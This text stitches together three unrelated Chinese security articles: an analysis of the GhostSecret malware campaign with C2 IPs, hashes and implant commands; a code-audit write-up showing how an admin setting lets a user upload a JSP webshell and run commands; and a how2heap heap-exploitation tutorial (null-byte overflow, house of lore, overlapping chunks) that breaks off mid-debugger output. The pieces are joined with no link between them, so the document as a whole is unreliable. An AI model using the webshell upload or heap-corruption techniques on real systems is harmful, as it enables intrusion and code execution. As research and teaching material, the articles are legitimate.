近期，McAfee高级威胁研究分析师发现了一起针对全球范围的数据窃取恶意事件，该恶意事件以许多行业为目标，其中包括关键基础设施、娱乐行业、金融业、医疗保健领域和电信业。该恶意事件名为GhostSecret，利用了多种植入物和工具，同时还利用了与具有国家背景的恶意组织Hidden
Cobra相关的恶意软件变种。目前，该事件仍在基础设施领域保持活跃。在本文中，我们深入研究这一恶意事件。有关此威胁的简要概述，请参阅《Global
Malware Campaign Pilfers Data from Critical Infrastructure, Entertainment,
Finance, Health Care, and Other Industries》（
<https://securingtomorrow.mcafee.com/mcafee-labs/global-malware-campaign-pilfers-data-from-critical-infrastructure-entertainment-finance-health-care-and-other-industries> ）
通过我们对此次恶意事件的分析，我们发现该组织使用了多种恶意软件，其中包括具有类似于Bankshot（针对土耳其财政部门的远程访问恶意软件）功能的植入物。从3月18日至26日，我们已经发现该恶意软件在世界多个地区出现。新变种的一部分类似于2014年在索尼影业攻击中所使用的Destover恶意软件。
此外，高级威胁研究团队发现了Proxysvc，这似乎是一种无文件的植入方式。我们还发现了其他的C&C服务器，这些服务器仍然处于活动状态，并且与这些植入内容相关联。根据我们对目前已有的公开信息的分析，加上对于恶意软件样本的分析，我们发现Proxysvc似乎与2017年的Destover变种共同使用，并且自2017年年中至今以来一直未被发现。
GhostSecret背后的攻击者在早期使用了与其他攻击相似的方式，包括FakeTLS在植入物中使用SSL证书，该证书被用于索尼影业攻击中所使用的名为Escad的Destover后门变种之中。根据我们的技术分析，我们具有足够证据表明该恶意事件由Hidden
Cobra团体进行。高级威胁研究团队在2018年3月发现了与此次恶意事件相关的动作，其威胁的目标是土耳其银行。这些动作似乎是GhostSecret恶意事件的第一阶段。
## 二、深入分析
McAfee高级威胁研究团队首次发现了数据收集植入物，该植入物于2018年2月中旬出现，似乎是Hidden
Cobra之前开发的植入物的变化版本，其功能类似于Bankshot，其部分代码与Hidden
Cobra的植入物相似。然而，该变种并不是基于Bankshot。通过我们对可移植可执行文件的Rich-header数据分析表明，这两种植入物都是在不同的开发环境中编译的。（PE Rich
Header是Windows可执行文件中一个未公开的部分，它提供了用于识别Microsoft编译器和链接器的唯一信息，有助于识别恶意软件变种之间的相似性。）根据代码内容和PE
Rich Header表明，Bankshot、Proxysvc和Destover的植入物是不同的系列，但同时也包含与Hidden
Cobra当前工具相同的代码和功能。
2018年发现的Bankshot植入物的PE Rich Header数据：
2018年2月新发现植入物的PE Rich Header数据：
Proxysvc.dll的PE Rich Header数据：
我们将2018年2月新样本的PE Rich
Header数据与2014年索尼影业攻击发生前不久发现的Backdoor.Escad（Destover）变种进行比较，发现二者的签名是相同的。Destover变种与2015年的变种具有83%的相似度，并且包含与Backdoor.Escad变种相同的Rich
PE
Header签名。由此可以判断，新植入物可能是Destover组件的一个衍生版本。此外我们还确定，植入物并不是直接复制了Destover的样本，而是由Hidden
Cobra根据早期版本中的功能创建了一个新的混合变种。
2014年Backdoor.Escad（Hash：8a7621dba2e88e32c02fe0889d2796a0c7cb5144）：
2015年Destover变种（Hash：7fe373376e0357624a1d21cd803ce62aa86738b6）：
2018年2月发现的植入物（fe887fcab66d7d7f79f05e0266c0649f0114ba7c）是在编译后两天（2月14日）从美国的未知提交者处获得的。该文件使用韩文语言，C&C服务器IP为203[.]131.222[.]83。除了C&C服务器地址不同外，该植入物与2017年的未知样本（8f2918c721511536d8c72144eabaf685ddc21a35）几乎相同。2017年的未知样本使用14[.]140.116[.]172地址作为C&C服务器。这两个植入物都使用了FakeTLS和PolarSSL，我们在此前Hidden
Cobra的植入物中也发现了这一特性。自索尼影业事件发生以来，PolarSSL库就经常出现在植入物中，并且专门用于后门恶意软件Backdoor.Destover的植入。该植入物包含了一个通过443端口发送流量的自定义C&C服务器协议。它并不会以标准的SSL格式数据包进行传输，而是通过自定义的格式以SSL方式进行传输，因此称为FakeSSL。与Backdoor.Escad进行比较，其C&C服务器的流量几乎相同。
Backdoor.Destover中的TLS流量，来自于2018年发现的Destover变种：
Backdoor.Escad中的TLS流量：
通过对14[.]140.116[.]172的进一步研究，我们获得了整个恶意软件的额外隐藏组件。在Proxysvc.dll中，包含所有位于印度的IP地址列表，是以硬编码的方式存储的，包括上述提及的IP地址。尽管名称不同，但该组件并不是SSL代理，而是一个数据收集和植入物安装组件，它在443端口的入站方向监听C&C服务器的连接请求。
Proxysvc样本是在3月22日于美国捕获，3月19日曾经从韩国发现过该组件的可执行投放程序。根据McAfee的分析显示，3月16日至21日之间Proxysvc组件在野外十分活跃。我们的研究表明，这一监听组件主要出现在高等教育机构。因此，我们怀疑这个组件与核心C&C服务器的基础架构相关。我们判断，攻击者是针对这些目标有意选择运行Proxysvc的，因为他们需要知道有哪些系统受到感染，才能实现对目标的连接。同时，数据还表明，该恶意软件在被发现之前已经运行了一年多。高级威胁研究团队发现这个组件已经在11个国家的系统上运行。鉴于Proxysvc作为SSL监听器的一部分，其功能有限，因此这些网络还允许攻击者收集数据，并安装更复杂的植入物或其他恶意软件。SSL监听器支持连接多个C&C服务器，这些连接目标不一定来自硬编码的IP地址列表。在结束与硬编码地址建立的连接之后，该样本可以仅接受入站连接，从而可以保证灵活地更换C&C服务器。
在2018年3月14日至18日期间，该样本在17个国家的组织中被发现，其中涉及电信、健康、金融、核心基础设施和娱乐等领域。
## 三、C&C服务器
通过我们对C&C服务器的进一步调查，我们发现了与2018年2月新变种所使用的C&C服务器203[.]131.222[.]83相关的SSL证书d0cb9b2d4809575e1bc1f4657e0eb56f307c7a76。该服务器位于泰国曼谷的Thammasat大学，与索尼影业事件中使用的C&C服务器相同。自索尼影业攻击事件以来，该SSL证书已经被Hidden
Cobra长期使用。通过对这一证书的分析，我们发现其他的C&C服务器也使用相同的PolarSSL证书。根据我们的进一步分析，发现了几个活跃的IP地址，其中还有两个IP与该C&C服务器处于同一网段内。
## 四、植入物溯源
我们确定，此次分析的Destover变种源于2015年开发的代码。该代码在2017年和2018年出现的变种中再次被使用，几乎具有相同的功能，同时对命令部分进行了部分修改，同时根据Rich
PE Header信息判断使用了相同的开发环境开发而成。
新发现的两种植入物（fe887fcab66d7d7f79f05e0266c0649f0114ba7c和8f2918c721511536d8c72144eabaf685ddc21a35）都基于2015年的代码。在与2015年8月8日编译的植入物进行比较时，我们发现它与2018年的植入物有83%的相似。其中关键的异同点如下。
### 4.1 相同点
1、二者都使用GetProcAddress动态构建其API导入，其中包括用于为任何活动远程会话收集用户名和域名的wtsapi32.dll；
2、二者都包含一系列功能，根据C&C服务器发出的命令ID来执行，其相同的功能如下：
（1）列出目录中的文件；
（2）创建任意进程；
（3）将从C&C服务器收到的数据写入磁盘上的文件；
（4）收集所有驱动器的信息；
（5）针对所有进程收集进程时间；
（6）将特定文件的内容发送到C&C服务器；
（7）擦除和删除磁盘上的文件；
（8）设置植入物的当前工作目录；
（9）将磁盘空间信息发送到C&C服务器；
3、二者都使用批处理文件机制从系统中删除其二进制文件；
4、二者都在系统上运行命令，将输出记录到临时文件，并将文件的内容发送到其C&C服务器。
### 4.2 不同点
在2018年版本中，不包含2015年原始版本的以下功能：
（1）以一个特定用户身份创建进程；
（2）终止一个特定进程；
（3）删除特定文件；
（4）为特定文件设置文件时间；
（5）获取当前系统时间并将其发送到C&C服务器；
（6）读取磁盘上文件的内容（如果指定的文件路径是目录，则列出目录中的文件）；
（7）在文件上设置属性。
而在2015年的原始版本中，不包含必须连接的IP地址的硬编码值。相反，其中包含被connect()
API用于指定端口（443）和C&C服务器IP地址（193.248.247.59、196.4.67.45）所需的硬编码sockaddr_in数据结构，其位于二进制文件末尾前的0x270字节处。这两个C&C服务器都使用PolarSSL证书d0cb9b2d4809575e1bc1f4657e0eb56f307c7a76。
## 五、对Proxysvc的分析
在最初，我们认为SSL监听器Proxysvc是一个代理设置工具，用于执行中间人流量的拦截。但通过对样本更深入的分析，我们发现这是基于SSL的HTTP从C&C服务器接收命令的另一个植入物。
Proxysvc看似是一个下载器，其主要功能是在不泄露攻击者的控制IP的情况下，向终端发送额外的Payload。这种植入物具有有限的侦查能力和持续的Payload安装能力。该植入物是一个服务DLL，也可以作为独立进程运行。
Proxysvc的ServiceMain()子函数：
植入物无法连接到C&C服务器IP地址或URL，相反，它只接收来自C&C服务器的命令。植入物将与端口进行绑定，并持续监听443端口，从而可以接收到任何传入的连接。
Proxysvc绑定到指定端口：
Proxysvc开始接收传入的请求，并进行处理：
此外，Proxysvc在接收到来自潜在C&C服务器的连接时，还会进行一项有趣的检查。它会检查该IP是否与一个黑名单IP地址列表匹配，以确保传入的连接不是来自于以下地址。如果IP地址匹配，植入物将进行零响应（响应ASCII码的“0”）并关闭连接。
黑名单IP地址如下：
121.240.155.74
121.240.155.76
121.240.155.77
121.240.155.78
223.30.98.169
223.30.98.170
14.140.116.172
## 六、对SSL监听器的分析
植入物从C&C服务器接收基于HTTP协议的命令，并会从HTTP头解析HTTP Content-Type和Content-Length。如果HTTP
Content-Type值为8U7y3Ju387mVp49A，则会执行由C&C服务器指定的命令：
该植入物具有如下功能：
1、将从C&C服务器接收到的可执行文件写入到临时文件并执行。
2、收集系统信息并将其发送到C&C服务器。
从终端收集的系统信息包括：
（1）终端的MAC地址；
（2）计算机名称；
（3）产品名称（来源于HKLMSoftwareMicrosoftWindows NTCurrentVersion ProductName）；
这些信息被组合成一个格式为“MAC地址|计算机名称|产品名称”的字符串，并发送到C&C服务器。
3、使用当前的系统时间戳，将来自C&C服务器的HTTP请求记录到植入物安装目录下的临时文件prx中。
## 七、对主要植入物的分析
2018年2月发现的植入物样本具有多种功能，包括信息泄露和被感染系统的任意命令执行。考虑到植入物可以从C&C服务器收到各种类型的指令，因此该植入物也具有非常强大的数据侦查功能框架，并且可以被有效利用。例如，该植入物可以擦除或删除文件、执行另外的植入物、从文件中读取数据。
通过动态加载API来执行恶意事件，主要植入物开始执行。用于加载API的库包括：
Kernel32.dll
Apvapi32.dll
Oleaut32.dll
Iphlpapi.dll
Ws2_32.dll
Wtsapi32.dll
Userenv.dll
Ntdll.dll
主要植入物动态加载API：
在初始化过程中，植入物会收集系统基本信息，并使用443端口上的SSL将其发送到硬编码写入的C&C服务器203[.]131.222[.]83：
1、系统区域中设置的国家、地区名称；
2、操作系统版本；
3、处理器描述，来源于
HKLMHARDWAREDESCRIPTIONSystemCentralProcessor ProcessorNameString位置；
4、计算机名称和网络适配器信息；
5、本地磁盘C:到Z:的磁盘空间信息，包括总物理空间大小、总可用空间大小，以字节为单位；
6、当前内存状态，包括总物理内存大小、总可用内存大小，以字节为单位；
7、基于当前远程会话的域名和用户名。
使用Win32 WTS API提取域名和用户名：
## 八、数据侦查过程
植入物通过SSL接收编码后的数据，该数据会被解码，从而确定有效的命令ID。有效的命令ID位于0和0x1D之间。
根据不同的命令ID，植入物可以执行以下功能：
1、收集系统信息并将其发送到C&C服务器（与前文中介绍的基本数据收集功能相同）。
2、获取系统中所有驱动器的卷信息（从A：到Z:）并发送到C&C服务器。
3、列出目录中包含的文件，该目录路径由C&C服务器指定。
4、读取文件的内容，并将其发送到C&C服务器。
5、将C&C服务器发送的数据写入指定的文件路径。
打开文件的句柄，以执行写入，但不具有共享权限：
将从C&C服务器接收到的数据写入到文件：
6、根据C&C服务器指定的文件路径，创建新进程：
7、擦除和删除C&C服务器指定的文件。
8、使用cmd.exe在系统上执行二进制文件，并将结果记录到临时文件中，然后读取并将记录结果发送到C&C服务器。
命令行：cmd.exe /c “<file_path> > %temp%PM*.tmp 2>&1”
9、获取所有当前运行进程的信息。
获取系统中所有进程的进程时间：
从与正在运行进程相关联的账户获取用户名和域名：
10、使用批处理文件从磁盘删除其自身。
11、将从C&C服务器收到的编码后数据，作为注册表值，存储在
HKLMSoftwareMicrosoftWindowsCurrentVersionTowConfigs的Description中。
12、设置并获取植入物的当前工作目录。
在植入物中的命令处理程序索引表如下所示：
## 九、总结
根据McAfee高级威胁研究团队的分析，我们认定该组件源于Hidden
Cobra团体，同时继续针对全球各地的组织发动攻击。自2015年以来，这些用于数据收集的植入物不断发生变化，这也侧面证明了该攻击者团队具有较强的开发能力。在我们的调查中，发现了一个未知的恶意软件工具，与近期源于印度服务器发动的一些攻击相关，这些位于印度的服务器使用了先进的植入物，建立一个隐蔽的网络，用于收集数据和发起进一步的攻击。
我们将持续进行相关调查和研究，并根据进展实时发布更新。
打击网络犯罪需要全球范围内国家组织和私营组织的一同努力，McAfee也正在与泰国政府当局合作，取缔GhostSecret控制的C&C服务器，同时保留相应系统中的证据以供执法机关进行进一步分析。
## 十、IoC
### 10.1 MITRE ATT&CK
通过C&C服务器通道进行渗透：使用自定义协议在C&C服务器通道上泄漏数据。
常用端口：攻击者使用公共端口（443端口）进行C&C服务器通信。
服务执行：将植入物注册为被感染主机上的服务。
自动收集：植入物自动收集有关被感染用户的数据，并将其发送到C&C服务器。
来自本地系统的数据：搜寻本地系统，并收集数据。
发现进程：植入物可以列出在系统上运行的进程。
发现系统时间：在部分数据侦察活动中采用的方法，将系统时间发送到C&C服务器。
删除文件：恶意软件可以删除攻击者指定的文件。
### 10.2 IP地址
203.131.222.83
14.140.116.172
203.131.222.109
### 10.3 Hash
fe887fcab66d7d7f79f05e0266c0649f0114ba7c
8f2918c721511536d8c72144eabaf685ddc21a35
33ffbc8d6850794fa3b7bccb7b1aa1289e6eaa45 | 社区文章 |
## 前言
最近开始整java代码审计，于是找了几个通用开源的论坛审计了一下，发现这个bbs后台getshell的点有点意思就写出来了，这个漏洞我已经提交了issue并且得到了作者的回复表示会更新代码修复该漏洞。
我觉得这个漏洞挺水的，但还是想分享一下我的看到的有趣的点，各位大佬手下留情，轻点喷。
## 项目相关
项目地址:
https://github.com/diyhi/bbs
issue:
https://github.com/diyhi/bbs/issues
调试运行所需要的相关环境以及工具:
jdk1.8，idea，tomcat9.x，mysql5.7
## 黑盒测试
（1）普通用户登陆测试
以普通用户test登入到系统，并且在创建主题中选择上传文件
上传jsp文件
发现上传失败，不允许jsp文件上传
（2）以admin登入到后台
点击系统设置-基础设置-话题编辑器
点击保存并且抓包
由图中数据包可以出其中的可允许修改的后缀的字段，并且添加jsp字段
修改成功后直接test用户上传jsp后缀名的附件
发现可以上传成功
成功解析该jsp代码，并且执行命令whoami
10.png
## 白盒分析
其实第（2）步中最后修改成功的时候我刷新看了下基本设置我是懵逼的，我在想是不是没有修改成功，后来跟进去看了代码发现，修改成功之后的代码其实是存入到数据库中去的。后来尝试看了下上传果然成功了。下面我们来分析一下设置这个功能点的流程走向。
首先在设置中我们可以看到每次点击刷新该设置的时候的页面
底下的可允许的后缀名,通过跟踪代码，其接口的代码在以下文件中的edit接口的get方法
src\main\java\cms\web\action\setting\SystemSettingManageAction.java
跟进去readRichTextAllowFileUploadFormat
继续跟进richtext，从filemanage类当中发现通过读取richtext.propertise文件作为配置文件
在保存的时候，我们的代码流程走的是以下代码中的edit接口的post方法
src\main\java\cms\web\action\setting\SystemSettingManageAction.java
其中updateSystemSetting就是把传入的参数写入到配置当中
跟进updateSystemSettings
最后直接update 到数据库中
以下是该数据库存到的表
### 最后
以往在尝试了修改后缀名之后往往再次刷新之后看到后缀名没有修改成功就直接放弃了，其实是很有可能已经成功了，只不过会出现像我这次的这种情况，修改完成后的配置文件其实是存到数据库中去的，而每次加载的时候都是从默认的配置文件中加载的，所以无法得到是否真正的完全修改成功的反馈，只能是再去尝试以下上传
该应用还有个上传升级包点应该也可以shell不过人家是正常的更新的功能点所以就不做详细测试了，还有其他的一些高危漏洞，因为觉得后台的洞都还蛮鸡肋的就不写上来了。
第一次写文章，java审计也才开始不久，各位大佬轻点喷 | 社区文章 |
紧着上次的继续
通过 how2heap 复习堆利用 (一） <https://xz.aliyun.com/t/2582>
### 0x07 poison_null_byte
off-one-by-one 的经典例子，一个0字节溢出。在一个字节溢出中，通常有以下情景：
1. 扩展块
2. 收缩块
首先，我们创建了 a b c barrier 四个chunk。
a = (uint8_t*) malloc(0x100);
fprintf(stderr, "a: %p\n", a);
int real_a_size = malloc_usable_size(a);
fprintf(stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#x\n", real_a_size);
/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);
fprintf(stderr, "b: %p\n", b);
c = (uint8_t*) malloc(0x100);
fprintf(stderr, "c: %p\n", c);
barrier = malloc(0x100);
fprintf(stderr, "We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
"The barrier is not strictly necessary, but makes things less confusing\n", barrier);
值得一提的是， barrier 这个chunk是用来防止 free c 的时候被放入 top-chunk。以及 b c 的 chunk 大小不能为
fastbins chunk size。因为 fastbins chunk 在被释放后不会合并。chunk a的作用是用来制造单字节溢出。
在进行一字节溢出之前，由于我们通过 chunk a 的单字节溢出修改了 chunk b 的 size ，为了绕过 unlink 的checnk
，我们先伪造一个 c prev_size。 计算方法如下：
c.prev_size = b_size & 0xff00
计算结果就是
0x200 = 0x211 & 0xff00
正好是 NULL 字节溢出之后的值。紧接着我们 free 掉 chunk b。此时 chunk 布局如下：
PwnLife> x/124gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000111 <-- chunk a
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000211 <--- chunk b [was free]
0x603120: 0x00007ffff7dd1b58 0x00007ffff7dd1b58 fd ,bk
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
....
....
....
0x603300: 0x0000000000000000 0x0000000000000000
0x603310: 0x0000000000000200 0x0000000000000000 fake c.prev.size
0x603320: 0x0000000000000210 0x0000000000000110 <--- chunk c
0x603330: 0x0000000000000000 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000
0x603360: 0x0000000000000000 0x0000000000000000
0x603370: 0x0000000000000000 0x0000000000000000
0x603380: 0x0000000000000000 0x0000000000000000
0x603390: 0x0000000000000000 0x0000000000000000
0x6033a0: 0x0000000000000000 0x0000000000000000
0x6033b0: 0x0000000000000000 0x0000000000000000
0x6033c0: 0x0000000000000000 0x0000000000000000
0x6033d0: 0x0000000000000000 0x0000000000000000
Free list
PwnLife> unsortedbin
unsortedbin
all: 0x603110 —▸ 0x7ffff7dd1b58 (main_arena+88) ◂— 0x603110
然后我们利用 一字节溢出 修改 chunk b size。
这个时候我们发现 chunk b 的 size 已经成功被修改，同时我们也 fake 了 个 chunk c。
*** bypass : chunksize(P) == 0x200 == 0x200 == prev_size (next_chunk(P))**
紧接着我们 create chunk b1 ，系统会从 free 掉的chunk b 中（已经放入 unsortedbin 取出合适的大小）。
PwnLife> p b1
$25 = (uint8_t *) 0x603120 "H\035\335\367\377\177"
PwnLife> p b
$26 = (uint8_t *) 0x603120 "H\035\335\367\377\177"
我们注意到几个地方：
1. chunk b1 的位置就是 chunk b 的位置
2. 这个时候 b1 和 c 之间有个 chunk b，这个时候 chunk c 的 prev_size 本应该变为 0xf0。但是事实上是
###
PwnLife> x/30gx 0x603330-0x20
0x603310: 0x00000000000000f0 0x0000000000000000 < --- fake chunk c
0x603320: 0x0000000000000210 0x0000000000000110 < --- chunk c
0x603330: 0x0000000000000000 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000
0x603360: 0x0000000000000000 0x0000000000000000
0x603370: 0x0000000000000000 0x0000000000000000
0x603380: 0x0000000000000000 0x0000000000000000
0x603390: 0x0000000000000000 0x0000000000000000
0x6033a0: 0x0000000000000000 0x0000000000000000
0x6033b0: 0x0000000000000000 0x0000000000000000
0x6033c0: 0x0000000000000000 0x0000000000000000
0x6033d0: 0x0000000000000000 0x0000000000000000
0x6033e0: 0x0000000000000000 0x0000000000000000
0x6033f0: 0x0000000000000000 0x0000000000000000
PwnLife> p c
$30 = (uint8_t *) 0x603330 "" <--- chunk c ptr
这是由于我们 fake 了一个 c.prev_size 系统修改的是我们的 fake c.prev_size。所以 chunk c 依然认为 chunk b
的地方有一个大小为 0x210 的 free chunk 。然后我们在 create 一个 chunk b2。
然后就是，我们先后 free b1 ，c。
95 free(b1);
96 free(c);
先 free b1，这个时候 chunk c 会认为 b1 就是 chunk b。当我们 free chunk c 的时候，chunk会和chunk
b1合并。由于 chunk c 认为 chunk b1 依旧是 chunk b。因此会把中间的 chunk c 吞并。
0x603110 PREV_INUSE {
prev_size = 0x0,
size = 0x321,
fd = 0x6032b0,
bk = 0x7ffff7dd1b58 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
此时 chunk b2 已经被吞并。
然后我们在把这块 chunk create出来。假设我们之前对 chunk b2 写的是一个指针。此时我们 得到的新 chunk d。我们可以对chunk
b2的内容进行任意读写了。
98 fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.\n");
99 d = malloc(0x300);
100 fprintf(stderr, "d: %p\n",d);
101
► 102 fprintf(stderr, "Now 'd' and 'b2' overlap.\n");
103 memset(d,'D',0x300);
104
105 fprintf(stderr, "New b2 content:\n%s\n",b2);
### 0x08 house_of_lore
house of lore 技术主要是用来伪造一个 small bin 链。
* House of Lore 攻击与 Glibc 堆管理中的的 Small Bin 的机制紧密相关。
* House of Lore 可以实现分配任意指定位置的 chunk，从而修改任意地址的内存。
* House of Lore 利用的前提是需要控制 Small Bin Chunk 的 bk 指针，并且控制指定位置 chunk 的 fd 指针。
如果在 malloc 的时候，申请的内存块在 small bin 范围内，那么执行的流程如下
/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/
if (in_smallbin_range(nb)) {
// 获取 small bin 的索引
idx = smallbin_index(nb);
// 获取对应 small bin 中的 chunk 指针
bin = bin_at(av, idx);
// 先执行 victim= last(bin)，获取 small bin 的最后一个 chunk
// 如果 victim = bin ，那说明该 bin 为空。
// 如果不相等，那么会有两种情况
if ((victim = last(bin)) != bin) {
// 第一种情况，small bin 还没有初始化。
if (victim == 0) /* initialization check */
// 执行初始化，将 fast bins 中的 chunk 进行合并
malloc_consolidate(av);
// 第二种情况，small bin 中存在空闲的 chunk
else {
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim，防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表，将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;
// 如果不是 main_arena，设置对应的标志
if (av != &main_arena) set_non_main_arena(victim);
// 细致的检查
check_malloced_chunk(av, victim, nb);
// 将申请到的 chunk 转化为对应的 mem 状态
void *p = chunk2mem(victim);
// 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff
alloc_perturb(p, bytes);
return p;
}
}
}
从下面的这部分我们可以看出
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim，防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表，将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;
如果我们可以修改 small bin 的最后一个 chunk 的 bk 为我们指定内存地址的fake chunk，并且同时满足之后的 bck->fd !=
victim 的检测，那么我们就可以使得 small bin 的 bk 恰好为我们构造的 fake chunk。也就是说，当下一次申请 small bin
的时候，我们就会分配到指定位置的 fake chun。
调试：
首先，我们创建一个 small bin chunk。然后在栈上伪造两个 chunk。
伪造的两个 chunk ， chunk 1 的 fd 指向 victim chunk，bk 指向 chunk2 ，chunk 2 的fd 指向 chunk
1。这样就构造了一个 small bin 链。
由于上文提到的 check
7 else
8 {
9 bck = victim->bk;
10 if (__glibc_unlikely (bck->fd != victim)){
11
12 errstr = "malloc(): smallbin double linked list corrupted";
13 goto errout;
14 }
15
16 set_inuse_bit_at_offset (victim, nb);
17 bin->bk = bck;
18 bck->fd = bin;
19
20 [ ... ]
21
22 */
所以伪造了 两个chunk 以及他们的 fd ，bk。
void *p5 = malloc(1000);
在 free 掉 victim 之前，我们 malloc 了一块 size 为1000的chunk，只是为了确保在 free 时 victim chunk
不会被合并进 top chunk 里。
然后我们释放掉 victim， 并申请一块比较大的chunk，只需要大到让 malloc 在 unsorted bin 中找不到合适的就可以了，这样就会让
victim 被整理到 smallbins中。
PwnLife> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70: 0x7ffff7dd1bb8 (main_arena+184) —▸ 0x603000 ◂— 0x7ffff7dd1bb8
largebins
empty
PwnLife>
接着就是漏洞利用的一个重点，我们假设我们有机会去修改victim chunk 的 bk 指针。并让他指向我们在栈上 fake 的chunk。
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
这个时候 ， victim chunk的bk指向 stack_buffer_1, fake chunk 1 的fd 指向了 victim
chunk。我们知道 small bins 是先进后出的，节点的增加发生在链表头部，而删除发生在尾部。这时整条链是这样的：
head <-fake chunk2 <- facke chunk1 <- victim chunk
fake chunk 2 的 bk 指向了一个未定义的地址，如果能通过内存泄露等手段，拿到 HEAD
的地址并填进去，整条链就闭合了。当然这里完全没有必要这么做。
紧接着，我们 malloc 一块 chunk，如果我们malloc 的大小正好是 victim chunk 的大小，这个时候系统会将 victim
chunk 取出。
void *p3 = malloc(100);
然后，我们再 malloc 一块。这个时候，我们就能欺骗系统，在stack栈上返回一块chunk。
101 fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
102 char *p4 = malloc(100);
103 fprintf(stderr, "p4 = malloc(100)\n");
104
► 105 fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
然后我们可以完成攻击
108 fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
► 109 intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
110 memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
P4 + 40 的位置刚好是 eip的的位置。
最后，我们说的是small bin 链的构造，其实我这里用的是 fastbin ，其释放后虽然是被加入到 fast bins 中，而small
bin是释放后 放入 unsorted bin，但 malloc 之后，也会被整理到 small bins 里。
### 0x09 overlapping_chunks
简单的堆重叠，通过修改 size，吞并邻块，然后再下次
malloc的时候，把邻块给一起分配出来。这个时候就有了两个指针可以操作邻块。一个新块指针，一个旧块指针。
22 p1 = malloc(0x100 - 8);
23 p2 = malloc(0x100 - 8);
24 p3 = malloc(0x80 - 8);
首先分配，三个chunk。
PwnLife> heap
0x603000 PREV_INUSE {
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603100 PREV_INUSE {
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603200 FASTBIN {
prev_size = 0x0,
size = 0x81,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
紧接着 free 掉 chunk2
free(p2);
这个时候 chunk 2 被分配到了 unsortedbin
0x603100 PREV_INUSE {
prev_size = 0x3131313131313131,
size = 0x101,
fd = 0x7ffff7dd1b58 <main_arena+88>,
bk = 0x7ffff7dd1b58 <main_arena+88>,
fd_nextsize = 0x3232323232323232,
bk_nextsize = 0x3232323232323232
}
PwnLife> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b58 (main_arena+88) —▸ 0x603100 ◂— 0x7ffff7dd1b58
smallbins
empty
largebins
empty
然后，假设我们这个时候可以通过堆溢出修改 chunk 2的size
42 int evil_chunk_size = 0x181;
43 int evil_region_size = 0x180 - 8;
44 fprintf(stderr, "We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
45 evil_chunk_size, evil_region_size);
46
47 *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
0x603000 PREV_INUSE {
prev_size = 0x0,
size = 0x101,
fd = 0x3131313131313131,
bk = 0x3131313131313131,
fd_nextsize = 0x3131313131313131,
bk_nextsize = 0x3131313131313131
}
0x603100 PREV_INUSE {
prev_size = 0x3131313131313131,
size = 0x181,
fd = 0x7ffff7dd1b58 <main_arena+88>,
bk = 0x7ffff7dd1b58 <main_arena+88>,
fd_nextsize = 0x3232323232323232,
bk_nextsize = 0x3232323232323232
}
0x603280 PREV_INUSE {
prev_size = 0x3333333333333333,
